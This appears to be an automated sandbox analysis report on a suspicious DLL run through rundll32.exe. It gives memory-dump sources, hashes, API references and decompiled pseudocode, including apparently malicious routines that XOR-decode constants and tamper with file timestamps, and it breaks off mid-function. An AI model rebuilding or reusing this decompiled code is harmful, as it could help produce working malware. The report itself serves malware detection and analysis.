Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0765cebd3d5ffdc374f29ae4c3c593533e8a957828311bcdae70478a81de742f
Instruction ID: d5b94b1064fabd2d6f2a19fadf99d3544f9728ec0fa7e641928531facb71d156
Opcode Fuzzy Hash: 0765cebd3d5ffdc374f29ae4c3c593533e8a957828311bcdae70478a81de742f
Instruction Fuzzy Hash: DA11387A601723ABD720BBA9CC80D9B77BCAF4A2047024158FA01D3641E7E0ED0687A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6DD6F574, Relevance: 66.4, APIs: 44, Instructions: 432COMMON

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 6DD6F5AB
___getlocaleinfo.LIBCMT ref: 6DD6F5C0
___getlocaleinfo.LIBCMT ref: 6DD6F5D5
___getlocaleinfo.LIBCMT ref: 6DD6F5EA
___getlocaleinfo.LIBCMT ref: 6DD6F602
___getlocaleinfo.LIBCMT ref: 6DD6F617
___getlocaleinfo.LIBCMT ref: 6DD6F629
___getlocaleinfo.LIBCMT ref: 6DD6F63E
___getlocaleinfo.LIBCMT ref: 6DD6F656
___getlocaleinfo.LIBCMT ref: 6DD6F66B

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 1292dd35ec3191d005f7a258ba019026780381556e0f9dfe3b84806f3d4b0144
Instruction ID: fae0ff54a5867adab8a3bf17088fa8c3dbaebceda880e9215e7a3a68fcad9556
Opcode Fuzzy Hash: 1292dd35ec3191d005f7a258ba019026780381556e0f9dfe3b84806f3d4b0144
Instruction Fuzzy Hash: 5AE1BDB290025DFEEF21DBE1CC80DFF77BDEB88748F15092AB25592040EA75AA159770

Uniqueness

Uniqueness Score: -1.00%

Function 6DD3146C, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD3146C() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;

				_t8 =  *0x6dd341b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6dd341bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 <= 5) {
					_t4 = 0x32;
					return _t4;
				} else {
					 *0x6dd341ac = _t3;
					_t5 = GetCurrentProcessId();
					 *0x6dd341a8 = _t5;
					 *0x6dd341b0 = _t8;
					_t6 = OpenProcess(0x10047a, 0, _t5);
					 *0x6dd341a4 = _t6;
					if(_t6 == 0) {
						 *0x6dd341a4 =  *0x6dd341a4 | 0xffffffff;
					}
					return 0;
				}
			}

0x6dd3146d
0x6dd3147b
0x6dd31483
0x6dd31488
0x6dd314d2
0x6dd314d2
0x6dd3148a
0x6dd31492
0x6dd314ce
0x6dd314d0
0x6dd31494
0x6dd31494
0x6dd31499
0x6dd314a7
0x6dd314ac
0x6dd314b2
0x6dd314ba
0x6dd314bf
0x6dd314c1
0x6dd314c1
0x6dd314cb
0x6dd314cb

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6DD317B8,751463F0,00000000), ref: 6DD3147B
GetVersion.KERNEL32 ref: 6DD3148A
GetCurrentProcessId.KERNEL32 ref: 6DD31499
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6DD314B2

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: fb6c7174469c7302e2ad13524bf694d88cdb89b15f5e293b04d7579f44515009
Instruction ID: f06121a27750b0e9c1c4e62320e72b91d9c15f24d7f164d0b2cab6c00120ed9e
Opcode Fuzzy Hash: fb6c7174469c7302e2ad13524bf694d88cdb89b15f5e293b04d7579f44515009
Instruction Fuzzy Hash: 0CF06738689622AFFFB0BF68AD097813BB4B70BB11F13001AF105C90C1D7B940408B04

Uniqueness

Uniqueness Score: -1.00%

Function 6DD32485, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD32485(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6dd341f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6dd34240 = 1;
										__eflags =  *0x6dd34240;
										if( *0x6dd34240 != 0) {
											goto L60;
										}
										_t84 =  *0x6dd341f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6dd34240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6dd341f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6dd34200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6dd341fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6dd34200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6dd34200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6dd34240 = 1;
							__eflags =  *0x6dd34240;
							if( *0x6dd34240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6dd34200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6dd34200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6dd34240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6dd34200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6dd341f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6dd34200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6dd34200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6dd3248f
0x6dd32492
0x6dd32498
0x6dd324b6
0x00000000
0x6dd324b6
0x6dd324a0
0x6dd324a9
0x6dd324af
0x6dd324be
0x6dd324c1
0x6dd324c4
0x6dd324ce
0x6dd324ce
0x6dd324d0
0x6dd324d3
0x6dd324d5
0x6dd324d5
0x6dd324d7
0x6dd324da
0x00000000
0x00000000
0x6dd324dc
0x6dd324de
0x6dd32544
0x6dd32544
0x6dd326a2
0x00000000
0x6dd326a2
0x6dd324e0
0x6dd324e0
0x6dd324e4
0x6dd324e6
0x6dd324e6
0x6dd324e6
0x6dd324e6
0x6dd324e9
0x6dd324ea
0x6dd324ed
0x6dd324ed
0x6dd324f1
0x6dd324f5
0x6dd32503
0x6dd32503
0x6dd3250b
0x6dd32511
0x6dd32513
0x6dd32515
0x6dd32525
0x6dd32532
0x6dd32536
0x6dd3253b
0x6dd3253d
0x6dd325bb
0x6dd325bb
0x6dd3253f
0x6dd3253f
0x6dd3253f
0x6dd325bd
0x6dd325bf
0x6dd326a0
0x6dd326a0
0x00000000
0x6dd325c5
0x6dd325c5
0x6dd325cc
0x00000000
0x00000000
0x6dd325d2
0x6dd325d6
0x6dd32632
0x6dd32634
0x6dd3263c
0x6dd3263e
0x6dd32640
0x00000000
0x00000000
0x6dd32642
0x6dd32648
0x6dd3264a
0x6dd3264c
0x6dd32661
0x6dd32661
0x6dd32663
0x6dd32692
0x6dd32699
0x00000000
0x6dd32699
0x6dd32667
0x6dd32668
0x6dd3266a
0x6dd3266c
0x6dd3266c
0x6dd3266e
0x6dd32670
0x6dd32672
0x6dd32686
0x6dd32686
0x6dd32689
0x6dd3268b
0x6dd3268b
0x6dd3268c
0x6dd3268c
0x00000000
0x6dd32674
0x6dd32674
0x6dd32674
0x6dd3267d
0x6dd3267e
0x6dd32680
0x6dd32682
0x6dd32682
0x00000000
0x6dd32674
0x6dd32672
0x6dd3264e
0x6dd32655
0x6dd32655
0x6dd32657
0x00000000
0x00000000
0x6dd32659
0x6dd3265a
0x6dd3265d
0x6dd3265f
0x00000000
0x00000000
0x00000000
0x6dd3265f
0x00000000
0x6dd32655
0x6dd325d8
0x6dd325db
0x6dd325e0
0x00000000
0x00000000
0x6dd325e9
0x6dd325eb
0x6dd325f1
0x00000000
0x00000000
0x6dd325f7
0x6dd325fd
0x00000000
0x00000000
0x6dd32603
0x6dd32605
0x6dd3260e
0x6dd32612
0x00000000
0x00000000
0x6dd32618
0x6dd3261b
0x6dd3261d
0x00000000
0x00000000
0x6dd32624
0x6dd32626
0x00000000
0x00000000
0x6dd32628
0x6dd3262c
0x00000000
0x00000000
0x00000000
0x6dd3262c
0x00000000
0x00000000
0x00000000
0x6dd32517
0x6dd32517
0x6dd32517
0x6dd3251e
0x00000000
0x00000000
0x6dd32520
0x6dd32521
0x6dd32523
0x00000000
0x00000000
0x00000000
0x6dd32523
0x6dd3254b
0x6dd3254d
0x00000000
0x00000000
0x6dd3255d
0x6dd3255f
0x6dd32561
0x00000000
0x00000000
0x6dd32567
0x6dd3256e
0x6dd3259a
0x6dd3259a
0x6dd3259c
0x6dd3259e
0x6dd325b2
0x6dd325b4
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd325a0
0x6dd325a0
0x6dd325a0
0x6dd325a9
0x6dd325aa
0x6dd325ac
0x6dd325ae
0x6dd325ae
0x00000000
0x6dd325a0
0x6dd32570
0x6dd32573
0x6dd32575
0x6dd32587
0x6dd32587
0x6dd3258a
0x6dd3258c
0x6dd3258c
0x6dd3258d
0x6dd3258d
0x6dd32593
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd32577
0x6dd32577
0x6dd32577
0x6dd3257e
0x00000000
0x00000000
0x6dd32580
0x6dd32580
0x6dd32581
0x00000000
0x00000000
0x00000000
0x6dd32581
0x6dd32583
0x6dd32585
0x6dd32598
0x00000000
0x00000000
0x00000000
0x6dd32598
0x00000000
0x6dd32585
0x6dd324f7
0x6dd324fa
0x6dd324fd
0x00000000
0x00000000
0x6dd324ff
0x6dd32501
0x00000000
0x00000000
0x00000000
0x6dd32501
0x6dd324c6
0x6dd324c8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6DD32536

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 9bffa77f0ba77dfb36d2ff22f6d2c97972c1bdd96c7f8983f705c5300b2d2e01
Instruction ID: d5493e485db8cefbd73b49077878ac71edd1d7f52ade3b6c443f4a38a9ed7112
Opcode Fuzzy Hash: 9bffa77f0ba77dfb36d2ff22f6d2c97972c1bdd96c7f8983f705c5300b2d2e01
Instruction Fuzzy Hash: 3761D470E04623DBDB35EF28C8A07293BB5AF9731CB238028F456C7291E731D95286D0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD32264, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6DD32264(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E6DD323CB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E6DD32485(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E6DD32370(_t55, _t66);
										_t89 = _t66 + 0x10;
										E6DD323CB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E6DD32467(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x6dd32268
0x6dd32269
0x6dd3226a
0x6dd3226d
0x6dd3226f
0x6dd32272
0x6dd32273
0x6dd32275
0x6dd32276
0x6dd32277
0x6dd3227a
0x6dd32284
0x6dd32335
0x6dd3233c
0x6dd32345
0x6dd3228a
0x6dd3228a
0x6dd32290
0x6dd32296
0x6dd32299
0x6dd3229c
0x6dd322a0
0x6dd322a5
0x6dd322aa
0x6dd3232a
0x00000000
0x6dd322ac
0x6dd322ac
0x6dd322b8
0x6dd322ba
0x6dd32315
0x6dd32315
0x6dd3231b
0x00000000
0x6dd322bc
0x6dd322cb
0x6dd322cd
0x6dd322ce
0x6dd322cf
0x6dd322d2
0x6dd322d2
0x6dd322d4
0x00000000
0x6dd322d6
0x6dd322d6
0x6dd32320
0x6dd322d8
0x6dd322d8
0x6dd322dc
0x6dd322e4
0x6dd322e9
0x6dd322ee
0x6dd322fa
0x6dd32302
0x6dd32309
0x6dd3230f
0x6dd32313
0x00000000
0x6dd32313
0x6dd322d6
0x6dd322d4
0x00000000
0x6dd322ba
0x6dd3232e
0x6dd3232e
0x6dd3232e
0x6dd322aa
0x6dd3234a
0x6dd32351

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 02dd623b80659fce6627f45fd9e022763583c38c47f19ed400cc205704b79b23
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 5321C732D04215DBC714EF68C8809A7BBA5FF4A354B478058E9158B246D730F915C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD7BAF2, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.506795362.000000006DD7B000.00000040.00020000.sdmp, Offset: 6DD7B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction ID: b4426885b742c2d3228a50e8e2d5a7ebb3b51b0c580483acdf02fed973469c30
Opcode Fuzzy Hash: 2473ecba5f78466b236b706d564a53f6938cb11cd03c01b5ec765ffc181c916c
Instruction Fuzzy Hash: E01181733405019FD724DF59EC80EA3B3AAFB9927072A80A6ED08CB355D636E851C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD7BEEB, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.506795362.000000006DD7B000.00000040.00020000.sdmp, Offset: 6DD7B000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c84f22b3cc78628e4c069225da77c858ff700800577a2065164e0eac194b3da
Instruction ID: ead4ae5670ae3c2c4abe9537918e5861591f0daef6e7a4c409a6d75a7914db50
Opcode Fuzzy Hash: 2c84f22b3cc78628e4c069225da77c858ff700800577a2065164e0eac194b3da
Instruction Fuzzy Hash: B201C036314141CFD715DB28D9849B9F7A4EBC5B20B16C0BAE44683657D135A449CA20

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6B977, Relevance: 15.1, APIs: 10, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 6DD6B990

Part of subcall function 6DD69388: __calloc_impl.LIBCMT ref: 6DD69399

__calloc_crt.LIBCMT ref: 6DD6B9B4
__calloc_crt.LIBCMT ref: 6DD6B9D0
__copytlocinfo_nolock.LIBCMT ref: 6DD6B9F5
__setlocale_nolock.LIBCMT ref: 6DD6BA02
___removelocaleref.LIBCMT ref: 6DD6BA0E
___freetlocinfo.LIBCMT ref: 6DD6BA15
__setmbcp_nolock.LIBCMT ref: 6DD6BA2D
___removelocaleref.LIBCMT ref: 6DD6BA42
___freetlocinfo.LIBCMT ref: 6DD6BA49

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __calloc_crt$___freetlocinfo___removelocaleref$__calloc_impl__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3967206232-0
Opcode ID: 7632a1292caa8da20a693bbbb0c8e44d2d72a26af453f580c9b1857d28883160
Instruction ID: 15eefe075666593c55b673f6546d389cf8e8c81169e50c58b8e5bd0f711f73b6
Opcode Fuzzy Hash: 7632a1292caa8da20a693bbbb0c8e44d2d72a26af453f580c9b1857d28883160
Instruction Fuzzy Hash: 2C21D63514C691EBD7267F68D800E5A77E5EF8A734F23841AF6C95A1A4DF31D80086F1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6AE14, Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 6DD6AD6B

Part of subcall function 6DD674AB: __mtinitlocknum.LIBCMT ref: 6DD674C1
Part of subcall function 6DD674AB: __amsg_exit.LIBCMT ref: 6DD674CD

__lock.LIBCMT ref: 6DD6ADAB
___removelocaleref.LIBCMT ref: 6DD6ADBA
___freetlocinfo.LIBCMT ref: 6DD6ADD3

Part of subcall function 6DD6927A: __lock.LIBCMT ref: 6DD69298
Part of subcall function 6DD6927A: ___sbh_find_block.LIBCMT ref: 6DD692A3
Part of subcall function 6DD6927A: ___sbh_free_block.LIBCMT ref: 6DD692B2

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __lock$___freetlocinfo___removelocaleref___sbh_find_block___sbh_free_block__amsg_exit__mtinitlocknum
String ID:
API String ID: 2822171422-0
Opcode ID: 877090f3caf3500b0b3c579417fe49a45abb952a03eff31c02051141d286bc53
Instruction ID: e68980b02293915194e9f340a4f626d267c6a1ab87501f1015a76db50a2f59de
Opcode Fuzzy Hash: 877090f3caf3500b0b3c579417fe49a45abb952a03eff31c02051141d286bc53
Instruction Fuzzy Hash: 73119131508395EBDB20BF648404F2D77A4AF05726F216559F1D9DB584EB74D880CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6AC1F, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6DD6AC2B

Part of subcall function 6DD68F2A: __getptd_noexit.LIBCMT ref: 6DD68F2D
Part of subcall function 6DD68F2A: __amsg_exit.LIBCMT ref: 6DD68F3A

__getptd.LIBCMT ref: 6DD6AC42
__amsg_exit.LIBCMT ref: 6DD6AC50
__lock.LIBCMT ref: 6DD6AC60

Memory Dump Source

Source File: 00000001.00000002.506685127.000000006DD3F000.00000020.00020000.sdmp, Offset: 6DD3F000, based on PE: false

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 52645b7fb04807392f6c8bdc4d38e6505d73da1f2f7e5a18f78eecf349b8cea4
Instruction ID: bd5df3420492e4f78de89ea7b5b16ada5d8444a8c89a12b9053d0ffa37125683
Opcode Fuzzy Hash: 52645b7fb04807392f6c8bdc4d38e6505d73da1f2f7e5a18f78eecf349b8cea4
Instruction Fuzzy Hash: 61F096369487A5DBD710FB748811B5D73A0AF02724F039145F6849B2C0DB74A905CAF1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5752 Parent PID: 4516 rundll32.exeCOMMON

Executed Functions

Function 033D4E9C, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E033D4E9C(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x33da2cc; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x33da290, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x33da2cc; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x33da290, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x33da290, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x33da2cc; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x33da2d0; // 0x266d5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x33db825; // 0x73797325
				_t83 = E033D1000(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x33da290, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
